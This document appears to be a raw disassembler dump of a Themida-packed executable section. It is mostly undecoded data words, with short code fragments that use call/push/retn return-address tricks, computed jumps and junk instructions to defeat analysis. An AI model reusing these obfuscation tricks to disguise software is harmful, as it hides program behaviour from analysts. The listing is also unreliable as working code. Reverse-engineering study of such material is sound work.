25DDC9DAh, 574CBBB5h, 524D974Fh, 5A4A944Ch, 574A944Ch dd 746F8F47h, 9979B65Eh, 0B02DABB3h, 0D2C386B3h, 4E2C9A19h dd 37EEB8EDh, 0B508C896h, 93A8A667h, 8C1CCFBBh, 6FFF9F02h dd 56E6C0E5h, 7E22D7CCh, 0E0B39020h, 47DC0050h, 900E93h dd 7C805023h, 795869E7h, 96AD7288h, 27DA427Dh, 227C256Fh dd 5990892h, 18012575h, 0AA3C847h, 96E23431h, 0C0DEC343h dd 3665F208h, 620F7053h, 5A000002h, 0C4E2C40Ch, 0BA045734h dd 0C3D9CA89h, 0BB9A7550h, 0A8615205h, 669D6A92h, 227FDF4Ch dd 3C0FEC7Ch, 0F3B0F8E9h, 1B43C2B3h, 28569991h, 6FB971C4h dd 39817234h, 20AA3A6Ch, 5C4D2086h, 66A7DE46h, 8DE0934Ch dd 0E7BA02FDh, 0F74A27B7h, 66A77EA9h, 1D81204Ch, 0E342865Fh dd 3C14AC30h, 4DCh, 1FD7C7DBh, 1ED6D0D5h, 1CD4D2D4h, 18D0CED2h dd 19D1D5CEh, 6340C7A9h, 5E418B43h, 663E8840h, 633E8840h dd 6863833Bh, 9978AA52h, 0A4219FB3h, 0D2C386B3h, 0D0CED119h dd 75C42F7Dh, 0BE71BB9Ah, 83FDA42Eh, 669D876Dh, 0E1C5DF4Ch dd 0FEB6893Ch, 21B1EDB4h, 4940A97h, 478B90B4h, 0F69B605Ah dd 902C3229h, 0FD13CCBDh, 4C66AB17h, 8C44974Ah, 48BCE176h dd 4CE5646Ah, 0A925CA24h, 16881797h, 9456A986h, 179h, 7A247DDFh dd 41654189h, 0CDE3D4B1h, 0B581A927h, 8414671Ah, 3FF7A7FAh dd 4A3B1E2Bh, 93C54334h, 0B141F4BBh, 6C4D8F59h, 1801FD4Ch dd 2A4FF47h, 0D6F463AFh, 0D2516A41h, 41F44376h, 0A8BEAFECh dd 4C6C7A40h, 2DEF42F5h, 3Ah, 51949B1Ah, 2C26BA0Eh, 86B346D9h dd 86169016h, 0CFE5D6A9h, 0BB93C172h, 0D0B0AC43h, 0BA704C2Eh dd 145C57E7h, 72C0138Bh, 4C6CAFB6h, 5011A16h, 6A42B852h dd 0B422h, 247D6D00h, 4360EA7Ah, 0C4F37263h, 881E85C5h dd 0E0641BF8h, 6FFF527Eh, 2C7A2C74h, 0A94859D9h, 992CC8FAh dd 634C01AAh, 0A32DBD90h, 0D0E8A0FEh, 0B5818D62h, 0D7C82978h dd 58C0D6C7h, 0DB581B7h, 14CF875Ah, 871FDACCh, 0DFB28F1Fh dd 6CBB724Fh, 70DFF69Bh, 93A0EA3Dh, 0FBA9BFB0h, 7EBB9652h dd 1192DACBh, 1093DD95h, 1079D896h, 831B30EFh, 35BABh dd 58465C00h, 574F56A0h, 5551559Fh, 514D539Dh, 52544F99h dd 0BF462A9Ah, 0C00AC2E4h, 0BD07BFDFh, 0BD07BFE7h, 0E202BAE4h dd 7B2BD1E7h, 0A01EB399h, 0DDC40C23h, 15431C1h, 0CC842281h dd 0C77F1F82h, 7A247D6Ah, 0FAA7EFEAh, 0E43714A4h, 0A9613D64h dd 0B4A56495h, 93D7859Eh, 7707BABBh, 6C7AC71Fh, 0B0A9CD4Ch dd 0B5A66596h, 82847DFCh, 5E6AD402h, 285747C9h, 70C39616h dd 7E6B0922h, 0D38B3E42h, 7A247D76h, 5D4160EAh, 0A16091A5h dd 663868B0h, 6B0C2213h, 0CCBB93C5h, 0B3F3B3FBh, 6C4DBF65h dd 2CFFB24Ch, 0F3B3F33Bh, 0A3338663h, 6C4D994Bh, 6EF3EF4Ch dd 41D679DEh, 2FFB6Ah, 0B3460000h, 19D2C386h, 0A9A24A60h dd 0E497B581h, 0C1864391h, 4B7BB93h, 41C81C74h, 0CDC04C6Ch dd 35881E85h, 3126263Bh, 436A41D7h, 0C6h, 7A247D8Eh, 634360EAh dd 465849D3h, 0A940D55h, 732C27B7h, 8E7400F4h, 0BB09FB9Bh dd 0B5810855h, 0D1D55508h, 156845D5h, 0DA920C95h, 810F10C2h dd 67376AB5h, 0ADA1F776h, 0E705791Bh, 0F92DC94h, 52E2C4E2h dd 0BE12A275h, 0C7DDCE8Dh, 0BB9360B2h, 24822383h, 2CE4B794h dd 3728EB18h, 78D24921h, 5849FC42h, 5B139310h, 56149211h dd 3ADD97FDh, 0F91FF78Fh, 0BE000001h, 0B802BAE4h, 0B701B9EDh dd 0B5FFB7EFh, 0B1FBB3EBh, 8CFCB4F2h, 248221E4h, 217D226Ch dd 21851F69h dd 1C821F69h, 33494464h, 0B3997DCDh, 7D850280h, 7EC88026h dd 428A7B23h, 37EF4264h, 8775FD7Ch, 1181C1F3h, 81C115FBh dd 0C29548B5h, 86B3DC6Fh, 0FBCD2C3h, 30BB93C1h, 5395ED7Dh dd 394C6C41h, 91778D46h, 0C44C6C41h, 94129111h, 32D24741h dd 6A41D725h, 0AD4Fh, 247D9A00h, 6241897Ah, 0D761F144h dd 0F24ADACCh, 0B581AE40h, 36C3E129h, 1164376Fh, 0D68E1091h dd 0F989158Ch, 0C4B594A5h, 6C30D5AEh, 0FFB76A44h, 0AFBDEEBh dd 7B8E19F4h, 8A7B2E42h, 8D456142h, 1D0319D2h, 50465886h dd 1FF2B4F0h, 0F9F079Fh, 445FDF32h, 63A1A462h, 3BD33ADDh dd 11F63h, 940A9800h, 931392DCh, 911591DBh, 8D118FD9h dd 8E188BD5h, 0FB0A66D6h, 0FC46FEA8h, 0F943FBA3h, 0F943FBABh dd 1E3EF6A8h, 7CE70D23h, 0DC5AB399h, 80267D5Fh, 0CE237EC8h dd 603DCDD1h, 4D549C8Dh, 0CFCFD151h, 570F623Fh, 514D549Ch dd 8D0C6BFEh, 791E8FA0h, 40663E9Bh, 0AD00D3B0h, 9A2A742Dh dd 550D9110h, 60513041h, 9A37AB4Ah, 758B44BBh, 4C66DF8Fh dd 17BC0FC2h, 0A4BA7364h, 4C66DF7Ch, 5BEB3EF1h, 7F21D0D1h dd 0A1058F1Fh, 0A75F3205h, 8A76DECh, 0B497D21h, 2BE2A484h dd 378A061Ch, 0C3B4EAB7h, 350CF40Ah, 8E414C66h, 0EE53AB3Bh dd 0A8FDFAECh, 39F2B7ACh, 0CA7CFD23h, 980E951Eh, 6DED40F3h dd 0F7B26A34h, 21B1F5AFh, 99418D44h, 5CACEABFh, 68188909h dd 0CAEAAA52h, 19EC9F1Eh, 0FDA1FF89h, 8A8F936Dh, 52435B46h dd 485E9B0Ah, 1EF1CE5Eh, 0A65EB18Eh, 0A8446CEBh, 74B5B3C2h dd 7E47432h, 0A5F47D34h, 0F95A9B72h, 237B26A6h, 50509893h dd 8EE1BE4Eh, 3C0h, 13AE2300h, 0E979257Dh, 0CC5C425Fh dd 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h, 4FDFBFE1h dd 35C5E1C5h, 1CACFAABh, 6A06839h, 1C890000h, 1E56824h dd 2C890000h, 57B76824h, 0C890000h, 62B85024h, 510618CCh dd 0CD89C189h, 0CC685859h, 89000000h, 4812424h, 424h, 0EC815900h dd 4, 8F242C89h, 34FF0841h, 0C4815924h, 4, 5D2434FFh, 0E904C483h dd 0FFFA7442h, 0D6FAACEEh db 52h, 49h, 0C8h ; --------------------------------------------------------------------------- loc_5B40D3: ; CODE XREF: sub_5B3505:loc_5B362Dj mov eax, 618D65Fh add eax, ebp jmp eax sub_5B3505 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 3BBFFF9Eh, 6D562E7Dh, 3C2C40D0h, 12E8h, 0EFA20D00h dd 0DA3B5748h, 438285E7h, 0CA0D95CAh, 0E929243Fh, 11h dd 705EDA20h, 67B7C1CDh, 4990AEEBh, 4A818E1Eh, 0E0B75ACDh dd 6A93C281h, 0BF0F0000h, 0E9F62BDFh, 7, 44EC076Ch, 0FFE60A88h dd 0F88B1634h, 0C820F58h, 60000000h, 1FCF8166h, 7E0CBA7Ch dd 816174CDh, 0C8CB9CE8h, 0DB816617h, 0C08196D2h, 775875F8h dd 22F38166h, 7EC08160h, 6650F75Fh, 386CE981h, 10BB5350h dd 5F08A1BCh, 6632048Fh, 0B5B733BFh, 0E7EE8152h, 0F19C90Bh dd 0C681D9BFh, 19C90BE3h, 0A060BF66h, 9658FE81h, 850FFFFFh dd 1Eh, 0F60F560h, 87h, 0E9616100h, 34h, 281B98DCh, 0C641AD04h dd 0C1BAF195h, 13E920E6h, 64000000h, 5A55F176h, 0A412AB42h dd 0EDBE148Dh, 4AB636FBh, 5CE9647Ch, 6AFFFFFFh, 2A1F24A5h dd 0F7279297h, 0DE8h, 0EB251D00h, 291E2A74h, 9D451378h dd 0C68B4071h, 0D8B0F59h, 60000000h, 0BBA3DF81h, 816659F6h dd 619906F1h, 61D9C181h, 0C2800000h, 0C0EFBE13h, 0C681732Eh dd 8CD1575Eh, 0FB631FFh, 51F3815Bh, 6652F7E2h, 0EB81D18Bh dd 387763EFh, 8E9h, 0A5213900h, 4C6A9529h, 1F3819Bh, 8B3078A7h dd 0BF6653C2h, 18FA67Ah, 9DAB97BFh, 4E98373h, 4B4C27B8h dd 850F4E57h, 1Bh, 28E0Fh, 0C18B0000h, 21E9h, 1C197300h dd 0B0024EA6h, 0DE908DE8h, 8195387Ch, 54A931F0h, 0FF96E92Ch dd 9D83FFFFh, 0DBF164AFh, 26E9E5E9h, 0CC000000h, 10621Ch dd 8 dup(0) dd 4B8E900h, 0B2680000h, 0E90618D9h, 0FFF9A751h, 18DA1168h dd 0A747E906h, 5D68FFF9h, 0E90618DBh, 0FFF9A73Dh, 0D472DED1h dd 0E886F0E4h, 9E00F8h, 16B41A10h, 2BC93126h, 0FCF163BEh dd 0F06F694h, 241D0DABh, 3C3626C4h, 0E04140DEh, 1DF476Fh dd 0F1435676h, 0AFB21A0Fh, 0F6A1FFF9h, 0C2C52920h, 0E184026Ch dd 0F0F586Fh, 2E98B7EFh, 7C27BAB1h, 70E16AF3h, 6FE97148h dd 4E760957h, 5D6FE971h, 0D132A50Fh, 8C69FB6Dh, 766A9203h dd 817875FBh, 66D01E1Dh, 0B88E3987h, 0DF05AC4h, 0FB7690BCh dd 0FEFC875h, 2FE9E43Bh, 0A03D9DEh, 0DA0740AAh, 0AD000002h dd 525982ADh, 16B324CFh, 769FB2Fh, 0C76CBFB9h, 0A8989E88h dd 0C63222A5h, 0BD396A63h, 31C961C7h, 0E2381586h, 149D6572h dd 4EE67BA3h, 0CA34826Dh, 0E2463DEBh, 0EEF189DFh, 5E099893h dd 611D6CEDh, 797FF167h, 0EA622EE0h, 80CEAD17h, 0A705FFD5h dd 0C11F1909h, 0D1D02CCFh, 51F6D97Dh, 31Ah, 0C462CEC1h dd 0D876E0D4h, 0F08EF0E8h, 6A40A00h, 1BB92116h, 0ECE153AEh dd 0FFF6E684h, 140DFD9Bh, 2C2616B4h, 0D03130CEh, 1E0375Fh dd 0E1334676h, 2E8C865Ch, 0EE6BD52Bh, 48B964FFh, 69F1DEA7h dd 976D1866h, 0AC9C3AA2h, 0FB4C4FB7h, 962FD1DCh, 0EEE03E38h dd 7F61E0FBh, 0BB660BEEh, 20000002h, 3323C12Dh, 4737D53Fh dd 5F4FED4Fh, 75650369h, 0D7A1880h, 0E34B40B2h, 0FA5E5545h dd 13736C5Ch, 2D8B8575h, 0BE2F908Fh, 7601E196h, 6A4092A5h dd 345CCD63h, 426FE907h, 9BE9E84Ah, 46E75803h, 1B69F1DFh dd 0C1D5BA9h, 79E300B2h, 0F8494C9Ah, 7601DCCCh, 8184EEE2h dd 7073D1CBh, 0E65535AEh, 83573710h, 0DE36542Ch, 0F0544B21h dd 1A74D86h, 0FF30000h, 0FEB4B715h, 7308A604h, 0CD3EE978h dd 69FB1E10h, 9FF0F341h, 75FB2273h, 1EF2D2ABh, 0DE2F99C7h dd 450Eh, 636AB400h, 0C3C435E0h, 4A69FB11h, 0A941A59Ch dd 0CF2F28FEh, 5318265h, 1B75FB1Eh, 4BABD27h, 0F3A9AC0Ah dd 41979AFAh, 9302E29Bh, 8204E4BDh, 6D52B8ACh, 87CE1CA6h dd 9875DF77h, 0DE2FD541h, 0BB88h, 150F2E00h, 9FEB4B7h dd 0FB924CA5h, 9C342F03h, 8BE9E399h, 7AD8D288h, 0F55351DCh dd 7016FE9h, 0FDFD2596h, 0EF606FE9h, 6FE9FEC7h, 3F8988D6h dd 0E99C38EFh, 6C049C33h, 9C3239CEh, 0E9F6032Bh, 24BC0A6Fh dd 9D680879h, 59A769FEh, 8CB425AEh, 9375FD4Bh, 0F4544D45h dd 0A6319BF1h, 0D573DBD0h, 9688F0E5h, 7334C3C9h, 6F04A98Ch dd 6C000001h, 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h dd 59C664CCh, 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h dd 0A7BDCDBh, 7601E2E2h, 0F84D6E9h, 173CB61Ah, 0B39E916Dh dd 0E9491A42h, 3BD3216Fh, 2B22F8A3h, 0EFDF5DC7h, 0A5F997F5h dd 0CC8E865Ch, 6ED870D6h, 3B3E9C96h, 8F2D8B85h, 0C570F3FAh dd 0D6D663Ch, 0D74AB40Ah, 69FB4BFEh, 153DAE0Fh, 7875FB54h dd 0FB54DF07h, 0A1A0EE75h, 3A10BB53h, 57E9E145h, 0CF359A2h dd 0C133D674h, 0D7D05A03h, 8A1E7477h, 0E3EB4BBAh, 258C98FDh dd 50C32DC5h, 75FC0024h, 44E2403Ah, 0DD7CBA1h, 1518B018h dd 887D55BFh, 6568C6C0h, 4F52BAAFh, 1EC961F9h, 0EAED5148h dd 0A2472A94h, 0A2h, 0E0636A50h, 0AC3AAC35h, 0F16FDD7Bh dd 5C5FC7BCh, 91046E06h, 69F209ECh, 234BBC1Dh, 317601FAh dd 7CD2D53Bh, 0EC972F7Dh, 6D153C7Ah, 6A733Dh, 0AF6D671Dh dd 0FC5255B7h, 0BF30B964h, 76019D97h, 5655B3ADh, 30209E08h dd 84D5D836h, 7FAC5E4Fh, 582707BEh, 7262005Eh, 6E960778h dd 7D804B5Eh, 0DE94972Fh, 0CFB786E8h, 90A2E5E6h, 463FF5F8h dd 332DE3E6h, 6E2951C2h, 0E230804Bh, 6DDE474Ah, 804B6E45h dd 0A7600654h, 0BF58C7h, 0F9575120h, 13716B5Bh, 86B10h dd 95190000h, 0D73F340Ah, 1C0F316Dh, 0FDF7ADB0h, 0EDE69C9Fh dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h dd 786C2225h, 504D0B0Eh, 4055854h, 83000000h, 48704E8h dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h dd 37C36824h, 34890000h, 0C2BE5624h, 890618D8h, 24348BF3h dd 5404C483h, 8124348Bh, 4C4h, 4EC8300h, 8F241C89h, 34FF0846h dd 0C4815E24h, 4, 5B2434FFh, 0E904C483h, 0FFF9A2ADh, 0FAA4D1C3h dd 545A0F9Eh, 0F1B865B4h, 30618DCh, 20E0FFC5h, 0D90CF2ECh dd 4646A340h, 0CE4FBA62h, 51672985h, 5F5727B2h, 294854D3h dd 0EF6BAEDFh, 0C96F54FBh, 5C7C7A6Fh, 9E6FDEA8h, 0F92D8F53h dd 0A8141BAAh, 942A612Ch, 25311FA5h, 0FC482850h, 9811A074h dd 3B2B9A35h, 0A564873Ah, 6B18ABAFh, 0A6188763h, 534C683Ch dd 105D2E38h, 0F5413B42h, 0E9706B9Ch, 29h, 5BF66C7Ah, 9 dup(0) dd 5F9E900h, 14070000h, 261A0AA8h, 362E1EBCh, 504636D4h dd 675C4CEAh, 95F461FFh, 2CCA3227h, 43E1453Ch, 5CFA5A53h dd 7614726Ch, 7DA51677h, 8C7601E4h, 0D02D879h, 0FFF3BA5h dd 9A0CB715h, 0AA8927D0h, 1F897D96h, 0C42EC61Ch, 0CE362BE1h dd 0EF594D23h, 0AE2C96ECh, 0BB66C4BEh, 8A8DEBE5h, 31E7CA34h dd 6DD6D937h, 0B133FAFBh, 8631A106h, 0E984ED15h, 44AEFC6Fh dd 0B6AE786Ch, 999CFAF4h, 6813AB43h, 9DB7ECF6h, 4EB80283h dd 5ABEB56Bh, 43ADA157h, 8B6B2440h, 0E6C67D1Ch, 426ADB64h dd 496FE9DBh, 0BFB991FBh, 0BA30D01h, 24847D6Dh, 160DE386h dd 0B1C51EB2h, 0C5349474h, 2A8A835Bh, 4BB5A97Fh, 0A588F248h dd 9194F8EFh, 0CC9B7B3Ah, 0C7EF60D3h, 0D66FE919h, 0AF52F088h dd 42C9D26h, 0B6FE919h, 19022ABDh, 0BB096FE9h, 6ACAC3h dd 0CDD02E28h, 0A035F264h, 0A3A60800h, 0B75DB94Dh, 2DA00Ah dd 0B16FE972h, 0EF461AFAh, 36D81DE5h, 61h, 8E865CDCh, 0F0EAC22Ch dd 143E8F92h, 2A6FE907h, 17CDD032h, 0FABCBF1Dh, 0DBD2A181h dd 0C980DF77h, 6DDE67E9h, 6FE90745h, 0BF9C0654h, 0D81D7A68h dd 2B91875Dh, 2F68D228h, 1, 0B11B0FD5h, 9A04F8AEh, 85EBE197h dd 8E6E2582h, 2965CBBFh, 272B62F6h, 3828C65Eh, 9F42E03Eh dd 56FD1C9h, 0B21A0FC9h, 777046AFh, 0C6BE1417h, 26FE68D2h dd 0A9C5C832h, 86A39406h, 0BBAE86DAh, 1D0B051h, 1606A40Ch dd 5BBBE1Ch, 14A8AB0Dh, 67D95B3Bh, 52D7EFA0h, 4CACA539h dd 266D4AB4h, 4DD81E80h, 7Fh, 8F865CF3h, 6A6DD7CBh, 10797C14h dd 0E907779Fh, 0A038866Fh, 1695E36h, 0EE5048FEh, 0F7D78EEBh dd 2DCB3328h, 35E0483Dh, 0AAA3695Fh, 59AFB24Ah, 60560CEFh dd 8A63F7FAh, 808FD6AAh, 78B6D81Dh, 5C000000h, 7B21A0Fh dd 634D3495h, 1882B0D9h, 0D243CC35h, 6FE96DAAh, 21F963B1h dd 0FC5C828h, 0F8AEB11Bh, 0D6989B03h, 680E7D5Dh, 774DCFAFh dd 0DE891D7Fh, 8368D12h, 2A1FF761h, 0FD024C2h, 9406B11Bh dd 56605B29h, 0B295FFB3h, 0E9753461h, 4E2EE56Fh, 0AAD243CCh dd 0B16FE975h, 0C51CF963h, 0BAD81DE8h, 6998C031h, 46A76FE9h dd 0E969ADD5h, 0D66EBC6Fh, 1336Ch, 0FD90000h, 340AB517h dd 0EFE4DC3Ah, 0C42E8487h, 73312BE1h, 0DD37197Fh, 9910E870h dd 0F666901h, 0A9A17050h, 3006A947h, 7BD1D43Ah, 0F7999411h dd 33650485h, 790CCF5Bh, 6FE91951h, 0C7720A58h, 19A5CD3Eh dd 53B46FE9h, 0E919BAE2h, 0DB73C16Fh, 1C75E671h, 0C169FB3Eh dd 258FF5EBh, 3BA39846h, 0A47CE638h, 205D0B2Dh, 37EDF088h dd 5141DF3Dh, 0A5F6F957h, 75FB877Bh, 0C84A2AE3h, 0A862F156h dd 117B77CAh, 5DCE3F39h, 75FBB135h, 0C05EF644h, 0F465D6D0h dd 75FBB1CCh, 0D8E4A13Eh, 0D3D211A7h, 35CD2B25h, 0EAE49A9Dh dd 140BE18Ch, 0ED57ADB0h, 0F95D540Ah, 0E64840F6h, 0EDCD8CE3h dd 8767207Eh, 0C260BEB8h, 304676CDh, 16DBDDEh, 3E140000h dd 7AE3E644h, 0FBC7E109h, 29AE875h, 0D35C5C98h, 0E9073A62h dd 0EE50486Fh, 489695EBh, 7042C9Dh, 0BD0B6FE9h, 4CD7D653h dd 494218A1h, 0E590E6E9h, 0E9074C74h, 9B05536Fh, 0FB33DF28h dd 0DDE02E69h, 7A6F2D27h, 21B90F12h, 3B999383h, 0C5D21E90h dd 591328Bh, 4EA4A711h, 0D3F422B6h, 7308C0A5h, 76702609h dd 0C55DC1B8h, 0B2140CC2h, 9F01F9AFh, 0E7C7809Ch, 81611A78h dd 0D12F29FFh, 0E1487CCEh, 0C1639605h, 0D53B3129h, 3A127CD2h dd 4F44E240h, 0DE3038F8h, 523Fh, 6F6AE500h, 8C24827Ch dd 8D8258E1h, 21CC2225h, 0E90788B0h, 0DF49976Fh, 16F9646Ch dd 3529FF10h, 348261CBh, 6B8E031h, 0D4CEEFE9h, 0C6BD7376h dd 4B025F62h, 7FF8FC6Bh, 9D2C2B9Fh, 0F87981F2h, 3E149016h dd 0F8ECE446h, 0F745248Eh, 817A59h, 6A280000h, 345CCD63h dd 3B6FE907h, 39AA55EDh, 69FB1B24h, 2A8A8359h, 8867D127h dd 8781373Ah, 0A19B8B29h, 0ED85EFE3h, 237A99EAh, 33EC75FBh dd 308A8453h, 8F4CE45h, 0FB993136h, 58C96766h, 75FBF130h dd 0FFF9F13Fh, 0ED5E09A1h, 7004C5FBh, 2B93885Eh, 8968D228h dd 0B51E903Bh, 4A79E49Ah, 29DFC22Ch, 77CED12Fh, 6964D8B8h dd 871F837Ah, 2AE153DCh, 6ED6616Ah, 0B2A41781h, 0BD69FC8Fh dd 6A7DD16Fh, 0C435E063h, 69F1DBD2h, 82E2DBB1h, 0E0BF297Fh dd 0DFD98F92h, 0F9F3E381h, 46DE463Bh, 6C56F243h, 0D5CC3820h dd 1BB31D11h, 9696218h, 5131EA06h, 0AC8C43E2h, 0E360542Ah dd 0DF5C4A72h, 6B0351CBh, 0D0A81268h, 0EADA78D6h, 0D98F92F0h dd 0C47A7DE3h, 0AE6467CFh, 9D5356B4h, 0E63C3FA9h, 80EFCF88h dd 6E683EE7h, 2505A610h, 60FE5C56h, 951C7670h, 0BADDC4D6h dd 25A6F488h, 148563D3h, 3D4797Ch, 82000000h, 1C0F5995h dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h dd 9E944A4Dh, 877F3538h, 786C2225h, 534D0B0Eh, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 0FE682434h, 89000014h, 0D6682414h dd 89000011h, 5350241Ch, 0A36443BBh, 3EBC12Ah, 79F3814Bh dd 0C13CE30Bh, 0C38102EBh, 44D097C2h, 355BD889h, 5526AC39h dd 5458C289h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 34812414h dd 0FC69FB24h, 8438F12h, 0FB087381h, 8B12FC69h, 8952241Ch dd 4C281E2h, 81000000h, 4C2h, 24148700h, 24148B5Ch, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF99C19h, 0D0962028h dd 8A96DA68h, 0B8EB2073h, 618E349h, 0E0FFC503h, 5C92FF47h dd 0E8A8A24h, 518294B1h, 40B39E32h, 0E4BE8D8Dh, 6A0618h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0BF50D8C3h, 259BFD8Fh, 5E9h, 725B0300h, 8D89D22Fh, 61209A1h dd 10E9h, 0D38DFD00h, 1B5C34F6h, 0CBA55B9Ch, 0C245B67Bh dd 585C7EAh, 0DC061205h, 8B000069h, 0CD9D8BFAh, 0C706120Ch dd 121BD985h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0F1E4351Eh, 0A0EA385Bh dd 31858B0Ah, 8B061230h, 49B5FFDFh, 8906122Ah, 122E158Dh dd 3195FF06h, 3106121Bh, 1211DD8Dh, 0FF006A06h, 1219CD95h dd 0EBC08B06h, 92CD733Bh, 63052975h, 0A1A39C03h, 834A1739h dd 0F73F132Ah, 2ECCE5EAh, 95455BFCh, 22DCDBFEh, 54A250D9h dd 5609131Ch, 0E1CC190h, 312B801h, 4B29E37Dh, 667A45DEh dd 63688F65h, 0AE8h, 0C5293500h, 33086C3Dh, 0E9110C41h dd 7, 13059908h, 58600740h, 15F5B58Bh, 0C0810612h, 5A3Ch dd 0E850Fh, 0E9500000h, 7, 72F267A8h, 5A869B60h, 166C68h dd 0F59D0B00h, 5906122Bh, 8BD9BF0Fh, 61B52938h, 81061207h dd 1A082DF7h, 81D0B653h, 5D0FAFEFh, 81B3B251h, 1E9274F7h dd 0C3816662h, 38892DA7h, 301611BEh, 3E8831Dh, 5AD18A52h dd 2ABE6648h, 1E981CBh, 0F000000h, 0FFFFBE85h, 8D2952FFh dd 61222E1h, 478D8D5Ah, 6A0618E6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C2C6C353h dd 0CE6B4D2Dh, 840F5Ch, 89000000h, 1209A18Dh, 68B0F06h dd 1000000h, 1203F58Dh, 95896006h, 6121451h, 2890Fh, 0FE8B0000h dd 585C761h, 0D0061205h, 8B000074h, 121C95BDh dd 0D985C706h, 6121Bh, 89000000h, 122B0DBDh, 0D1B5FF06h dd 6A06120Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 60E8C356h, 890F9FF1h, 0 ; --------------------------------------------------------------------------- mov esi, [ebp+6120E4Dh] call dword ptr [ebp+6121B31h] xor [ebp+6121565h], ebx push 0 call dword ptr [ebp+61219CDh] mov eax, eax jmp short loc_5B50CB ; --------------------------------------------------------------------------- dw 46A5h dd 9190C682h, 0DB84E4B2h, 0CEEB6B2h, 7453DB4h, 2ACE512Fh dd 2ABA40B0h, 0A593C264h, 0EC3D4573h, 0C402DAh, 0FF662426h dd 23EE9716h, 0A77D5FC5h, 0A9C47159h, 835EAE7h, 580D03E2h dd 8B79822Bh, 0C4107CF6h, 1DE9031Eh, 24D99E3Ch, 0C97E7113h dd 0E8E306DDh, 79262F46h, 0E72A8FB7h, 4F0CD715h, 5646B110h db 0C7h, 0FDh, 51h ; --------------------------------------------------------------------------- loc_5B50CB: ; CODE XREF: Themida_:005B5060j lea ecx, [ebp+618E749h] push 0 push ebp call sub_5B50DC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B50DC proc near ; CODE XREF: Themida_:005B50D4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B50DC endp ; --------------------------------------------------------------------------- pop ebp mov [ebp+61209A1h], ecx jmp loc_5B5105 ; --------------------------------------------------------------------------- dd 9B8B6C26h, 44D69403h, 3F35FB5Ah db 39h ; --------------------------------------------------------------------------- loc_5B5105: ; CODE XREF: Themida_:005B50F3j mov dword ptr [ebp+6120505h], 6AF8h movzx eax, cx mov dword ptr [ebp+6121BD9h], 0 push 0 push edi call sub_5B5127 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5127 proc near ; CODE XREF: Themida_:005B511Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B5127 endp ; --------------------------------------------------------------------------- adc edx, [ebp-731A55A4h] pop es xor al, 36h push dword ptr [ebp+6122BF1h] mov [ebp+6122BE1h], ebx call dword ptr [ebp+6121B31h] mov edx, 34B343E1h push 0 call dword ptr [ebp+61219CDh] mov eax, eax jmp short loc_5B51C3 ; --------------------------------------------------------------------------- dd 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh dd 8B7F0828h, 510994CCh, 186C6D00h, 0E7053599h, 0E9F1E276h dd 0DCEADCA3h, 0DD061A3h, 0A84F34D7h, 6EF801Ah, 0F36E26Dh dd 68997582h, 0D0BDEFDDh, 54232FC9h, 30C4325Fh, 0B4D215A8h dd 812D4E2Bh, 922A806Fh, 5D434BDCh ; --------------------------------------------------------------------------- idiv dword ptr [eax+21h] loc_5B51C3: ; CODE XREF: Themida_:005B5162j lea ecx, [ebp+618E847h] mov [ebp+6122D99h], edi mov [ebp+61209A1h], ecx and bl, 0C5h mov dword ptr [ebp+6120505h], 5950h mov [ebp+61222ADh], edi mov dword ptr [ebp+6121BD9h], 0 push 0 push ebp call sub_5B51FD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B51FD proc near ; CODE XREF: Themida_:005B51F5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B51FD endp ; --------------------------------------------------------------------------- db 40h, 8Fh, 0E8h dd 9, 6C06BC24h, 19CA6F6Bh, 11BD8BE5h, 5E061213h, 6ADB5FFh dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0E409C1C3h, 95FFF895h, 6121B31h, 26859589h dd 6A0612h, 19CD95FFh, 0C08B0612h, 0A4064EEBh, 33624131h dd 1A7D7823h, 909F53C3h, 6C770810h, 0CBC3D20Ah, 67C4F749h dd 0D98AD4AEh, 9DD7ECE8h, 1A49445Bh, 0F1BF5FF7h, 62FF123Ch dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h dd 7FFE51BFh, 0A2C0E6E1h, 9FA25DA4h, 5E8h, 548BE700h, 31B9B287h dd 58403E0Ch, 0CDD9589h, 0C0810612h, 5FF1h, 1058D8Bh, 680612h dd 0B6000000h, 0BE85E48h, 96000000h, 0C6507D1Eh, 887941F6h dd 0D98BB229h, 303C8B59h, 30BD8D8Bh, 0F7810612h, 29B1E07Fh dd 29C99589h, 0EF810612h, 336AB3E5h, 0D7F38166h, 4FC781A2h dd 662D3187h, 3C89DA8Bh, 0D1952930h, 8B061212h, 1206C98Dh dd 1EE8306h, 314DBD31h, 4E4E0612h, 0CEBF0F4Eh, 0A09CFE81h dd 850FFFFFh, 0FFFFFFADh, 1769BD89h, 0CE80612h, 0D1000000h dd 64A20060h, 0D6105EFAh, 89A39068h, 122F81B5h, 8D235A06h dd 6121D91h, 72CFC281h, 8D890000h, 